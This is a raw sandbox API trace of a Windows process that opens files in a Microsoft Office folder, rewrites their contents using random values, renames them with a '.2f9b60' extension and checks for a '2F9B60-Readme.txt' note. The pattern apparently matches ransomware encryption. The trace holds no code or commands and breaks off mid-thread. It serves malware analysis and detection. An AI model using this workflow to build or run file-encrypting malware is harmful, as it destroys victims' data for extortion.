1 [0145.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0145.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2b0) returned 1 [0145.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0145.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff5e0) returned 1 [0145.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2e0) returned 1 [0145.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20507730 [0145.180] wcscat (in: _Dest=0x20507730, _Source="f0d2385b4eaa1b0ec" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\f0d2385b4eaa1b0ec") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\f0d2385b4eaa1b0ec" [0145.180] wcscat (in: _Dest=0x20507730, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\f0d2385b4eaa1b0ec.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\f0d2385b4eaa1b0ec.2f9b60" [0145.180] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\f0d2385b4eaa1b0ec.2f9b60", NtPathName=0x3afdf830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\f0d2385b4eaa1b0ec.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0145.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x1ce22920 [0145.181] NtSetInformationFile (FileHandle=0x1f94, IoStatusBlock=0x3afdf8d0, FileInformation=0x1ce22920, Length=0xb0, FileInformationClass=0xa) returned 0x0 [0146.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22920) returned 1 [0146.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501300) returned 1 [0146.287] NtQueryInformationFile (in: FileHandle=0x1f94, IoStatusBlock=0x3afdf898, FileInformation=0x3afdf8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3afdf898, FileInformation=0x3afdf8a8) returned 0x0 [0146.287] NtSetInformationFile (FileHandle=0x1f94, IoStatusBlock=0x3afdf898, FileInformation=0x3afdf8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507730) returned 1 [0146.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205079b0) returned 1 [0146.289] FlushFileBuffers (hFile=0x1f94) returned 1 [0146.305] CloseHandle (hObject=0x1f94) returned 1 [0146.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202ae530 [0146.307] wcscpy (in: _Dest=0x202ae530, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0146.307] wcscat (in: _Dest=0x202ae530, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0146.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0146.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae530) returned 1 [0146.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afa90) returned 1 Thread: id = 2171 os_tid = 0x157c [0140.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk")) returned 0x20 [0140.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK", dwFileAttributes=0x20) returned 1 [0140.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f80 [0144.662] GetFileSizeEx (in: hFile=0x1f80, lpFileSize=0x210efb00 | out: lpFileSize=0x210efb00*=114) returned 1 [0144.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0144.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff370 [0144.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5c0 [0144.662] NtQuerySystemTime (in: CurrentTime=0x210ef9c0 | out: CurrentTime=0x210ef9c0*=132462177499078000) returned 0x0 [0144.662] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x4c631022 [0144.662] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0xd5fdd67 [0144.662] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x2c436e94 [0144.662] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x408cc9a2 [0144.662] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x7c611444 [0144.662] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0xaf53371 [0144.662] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x5b568c87 [0144.662] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x46d38151 [0144.662] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x6e2f42c5 [0144.662] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x3840cbba [0144.662] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x322f35a7 [0144.662] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x330e7c48 [0144.662] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x45a50e15 [0144.662] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x7cd30829 [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x3abf9032 [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x45a69ef6 [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x195c047c [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x2d606fc5 [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x504e5bca [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x81cd57f [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x192ad952 [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x623d8671 [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x7bde88b8 [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x5928466f [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x1a48d26e [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x4f3823e3 [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x1795e93d [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x325c45da [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x3b5bfe2c [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0xb71aca8 [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x334d93f2 [0144.663] RtlRandomEx (in: Seed=0x210ef9b0 | out: Seed=0x210ef9b0) returned 0x5125e5d5 [0144.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0144.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2b0 [0144.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe5c0) returned 1 [0144.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0144.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0144.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0144.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0144.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4231f0f0 [0144.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42322d00 [0144.673] ReadFile (in: hFile=0x1f80, lpBuffer=0x4231f0f0, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x210ef9b0, lpOverlapped=0x0 | out: lpBuffer=0x4231f0f0*, lpNumberOfBytesRead=0x210ef9b0*=0x72, lpOverlapped=0x0) returned 1 [0144.674] SetFilePointerEx (in: hFile=0x1f80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.674] WriteFile (in: hFile=0x1f80, lpBuffer=0x42322d00*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x210ef9b4, lpOverlapped=0x0 | out: lpBuffer=0x42322d00*, lpNumberOfBytesWritten=0x210ef9b4*=0x72, lpOverlapped=0x0) returned 1 [0144.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff1c0 [0144.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff280 [0144.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff280) returned 1 [0144.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42322d00) returned 1 [0144.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4231f0f0) returned 1 [0144.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0144.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9f5b0 [0144.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0144.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff280 [0144.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff280) returned 1 [0144.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9fbf0 [0144.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff280 [0144.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3e0 [0144.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3e0) returned 1 [0144.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0144.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x166f20 [0144.713] SetFilePointerEx (in: hFile=0x1f80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.714] WriteFile (in: hFile=0x1f80, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x210efad0, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x210efad0*=0x118, lpOverlapped=0x0) returned 1 [0144.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3e0 [0144.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3e0) returned 1 [0144.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204fe3e0 [0144.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0144.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe080 [0144.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe080) returned 1 [0144.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd9df70 [0144.737] sprintf (in: _Dest=0x1cd9df70, _Format="%c%c" | out: _Dest="1f") returned 2 [0144.737] sprintf (in: _Dest=0x1cd9df72, _Format="%c%c" | out: _Dest="21") returned 2 [0144.737] sprintf (in: _Dest=0x1cd9df74, _Format="%c%c" | out: _Dest="5c") returned 2 [0144.737] sprintf (in: _Dest=0x1cd9df76, _Format="%c%c" | out: _Dest="aa") returned 2 [0144.737] sprintf (in: _Dest=0x1cd9df78, _Format="%c%c" | out: _Dest="72") returned 2 [0144.737] sprintf (in: _Dest=0x1cd9df7a, _Format="%c%c" | out: _Dest="60") returned 2 [0144.737] sprintf (in: _Dest=0x1cd9df7c, _Format="%c%c" | out: _Dest="40") returned 2 [0144.737] sprintf (in: _Dest=0x1cd9df7e, _Format="%c%c" | out: _Dest="a0") returned 2 [0144.737] sprintf (in: _Dest=0x1cd9df80, _Format="%c%c" | out: _Dest="2b") returned 2 [0144.737] sprintf (in: _Dest=0x1cd9df82, _Format="%c%c" | out: _Dest="1f") returned 2 [0144.737] sprintf (in: _Dest=0x1cd9df84, _Format="%c%c" | out: _Dest="f6") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9df86, _Format="%c%c" | out: _Dest="8e") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9df88, _Format="%c%c" | out: _Dest="5b") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9df8a, _Format="%c%c" | out: _Dest="0c") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9df8c, _Format="%c%c" | out: _Dest="45") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9df8e, _Format="%c%c" | out: _Dest="0a") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9df90, _Format="%c%c" | out: _Dest="78") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9df92, _Format="%c%c" | out: _Dest="77") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9df94, _Format="%c%c" | out: _Dest="32") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9df96, _Format="%c%c" | out: _Dest="fd") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9df98, _Format="%c%c" | out: _Dest="76") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9df9a, _Format="%c%c" | out: _Dest="9a") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9df9c, _Format="%c%c" | out: _Dest="ac") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9df9e, _Format="%c%c" | out: _Dest="ab") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9dfa0, _Format="%c%c" | out: _Dest="26") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9dfa2, _Format="%c%c" | out: _Dest="9a") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9dfa4, _Format="%c%c" | out: _Dest="ee") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9dfa6, _Format="%c%c" | out: _Dest="46") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9dfa8, _Format="%c%c" | out: _Dest="f1") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9dfaa, _Format="%c%c" | out: _Dest="01") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9dfac, _Format="%c%c" | out: _Dest="1d") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9dfae, _Format="%c%c" | out: _Dest="cb") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9dfb0, _Format="%c%c" | out: _Dest="58") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9dfb2, _Format="%c%c" | out: _Dest="25") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9dfb4, _Format="%c%c" | out: _Dest="66") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9dfb6, _Format="%c%c" | out: _Dest="d8") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9dfb8, _Format="%c%c" | out: _Dest="b5") returned 2 [0144.738] sprintf (in: _Dest=0x1cd9dfba, _Format="%c%c" | out: _Dest="dd") returned 2 [0144.739] RtlInitAnsiString (in: DestinationString=0x210efb48, SourceString="1f215caa726040a02b1ff68e5b0c450a787732fd769aacab269aee46f1011dcb582566d8b5dd" | out: DestinationString="1f215caa726040a02b1ff68e5b0c450a787732fd769aacab269aee46f1011dcb582566d8b5dd") [0144.739] RtlAnsiStringToUnicodeString (in: DestinationString=0x210efb18, SourceString="1f215caa726040a02b1ff68e5b0c450a787732fd769aacab269aee46f1011dcb582566d8b5dd", AllocateDestinationString=1 | out: DestinationString="1f215caa726040a02b1ff68e5b0c450a787732fd769aacab269aee46f1011dcb582566d8b5dd") returned 0x0 [0144.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050d4d0 [0144.739] RtlFreeAnsiString (AnsiString="1") [0144.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9df70) returned 1 [0144.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3e0) returned 1 [0144.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0144.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0144.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0144.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff280) returned 1 [0144.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0144.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff1c0) returned 1 [0144.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff370) returned 1 [0144.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0144.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2b0) returned 1 [0144.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x205089f0 [0144.741] wcscat (in: _Dest=0x205089f0, _Source="1f215caa726040a02b1" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1f215caa726040a02b1") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1f215caa726040a02b1" [0144.741] wcscat (in: _Dest=0x205089f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1f215caa726040a02b1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1f215caa726040a02b1.2f9b60" [0144.741] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1f215caa726040a02b1.2f9b60", NtPathName=0x210efaf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\1f215caa726040a02b1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x1ce22c20 [0144.741] NtSetInformationFile (FileHandle=0x1f80, IoStatusBlock=0x210efb90, FileInformation=0x1ce22c20, Length=0xb4, FileInformationClass=0xa) [0204.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22c20) returned 1 [0204.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420560b0) returned 1 [0204.024] NtQueryInformationFile (in: FileHandle=0x1f80, IoStatusBlock=0x210efb58, FileInformation=0x210efb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x210efb58, FileInformation=0x210efb68) returned 0x0 [0204.024] NtSetInformationFile (FileHandle=0x1f80, IoStatusBlock=0x210efb58, FileInformation=0x210efb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205089f0) returned 1 [0209.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d4d0) returned 1 [0209.445] FlushFileBuffers (hFile=0x1f80) returned 1 [0209.517] CloseHandle (hObject=0x1f80) returned 1 [0216.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202af8e0 [0216.646] wcscpy (in: _Dest=0x202af8e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0216.646] wcscat (in: _Dest=0x202af8e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0216.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0216.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af8e0) returned 1 [0216.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afdf0) returned 1 Thread: id = 2172 os_tid = 0x1580 [0140.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk")) returned 0x20 [0140.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK", dwFileAttributes=0x20) returned 1 [0140.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ed8 [0144.636] GetFileSizeEx (in: hFile=0x1ed8, lpFileSize=0x3aedfbc0 | out: lpFileSize=0x3aedfbc0*=113) returned 1 [0144.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe080 [0144.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3e0 [0144.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0144.636] NtQuerySystemTime (in: CurrentTime=0x3aedfa80 | out: CurrentTime=0x3aedfa80*=132462177498766000) returned 0x0 [0144.636] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x2fd6170f [0144.636] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x4596b600 [0144.636] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x2c55cada [0144.636] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x365686bb [0144.636] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x6bea4a68 [0144.636] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x7da5ae28 [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x33fc2dab [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x1a02d401 [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x40ad4dda [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x7f508655 [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x61f7bc69 [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x68fb42ac [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x7d8a79d7 [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x2048d4da [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x22f260af [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x6b1135e1 [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x1998226f [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x3444e11d [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x2b3b6c67 [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x1bba2e5f [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x285ef822 [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x373536c5 [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x6cf63df6 [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0xe909397 [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x29b5be22 [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x79d59f23 [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x6cb3a06e [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x4848cb5f [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x6ae1b30b [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x264f4fda [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x442a5776 [0144.637] RtlRandomEx (in: Seed=0x3aedfa70 | out: Seed=0x3aedfa70) returned 0x59bb356b [0144.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff280 [0144.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 